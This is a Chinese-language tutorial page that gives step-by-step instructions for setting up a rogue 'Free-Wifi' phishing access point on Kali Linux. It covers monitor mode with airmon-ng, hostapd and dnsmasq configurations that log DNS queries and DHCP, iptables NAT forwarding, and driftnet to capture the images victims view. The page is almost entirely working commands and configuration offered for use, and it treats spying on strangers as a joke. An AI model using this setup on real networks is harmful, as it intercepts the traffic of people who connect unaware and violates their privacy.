zl程序教程

您现在的位置是:首页 >  其他

当前栏目

Kali制作钓鱼WIFI

2023-03-14 22:38:05 时间

一、环境准备

0x01 kali虚拟机

0x02 USB无线网卡

二、制作钓鱼WIFI

0x01 接入无线网卡到kali

0x02 配置无线网卡

在终端执行ifconfig查看是否有wlan0如果存在,我们需要激活为监听模式。

ifconfig 
airmon-ng start wlan0

0x03 配置hostapd

vim hostapd.conf
interface=wlan0mon 
driver=nl80211 
ssid=Free-Wifi #无线名称 随意即可 
hw_mode=g 
channel=6 
macaddr_acl=0 
ignore_broadcast_ssid=0

0x04 配置dnsmasq文件

vim dnsmasq.conf
interface=wlan0mon 
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h 
dhcp-option=3, 192.168.1.1 
dhcp-option=6, 192.168.1.1 
server=8.8.8.8 
log-queries 
log-dhcp 
listen-address=127.0.0.1

0x05 配置防火墙和端口转发

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE 
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT 
echo 1 > /proc/sys/net/ipv4/ip_forward

0x06 给无线网卡分配IP地址

这样做是为了可以让连接钓鱼Wifi的人可以上网

ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0 
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

0x07 下载hostapd

apt-get install hostapd

0x08 启动钓鱼热点

hostapd hostapd.conf

0x09 安装dnsmasq

apt-get install dnsmasq

0x10 启动dnsmasq

dnsmasq -C dnsmasq.conf -d

三、进行WIFI钓鱼

使用手机连接热点Free-Wifi,然后访问网站就会被记录。

0x01 嗅探目标图片

(1):安装driftnet

apt-get install driftnet

(2):进行嗅探

driftnet -i wlan0mon

完了,看plmm照片被别人看见了。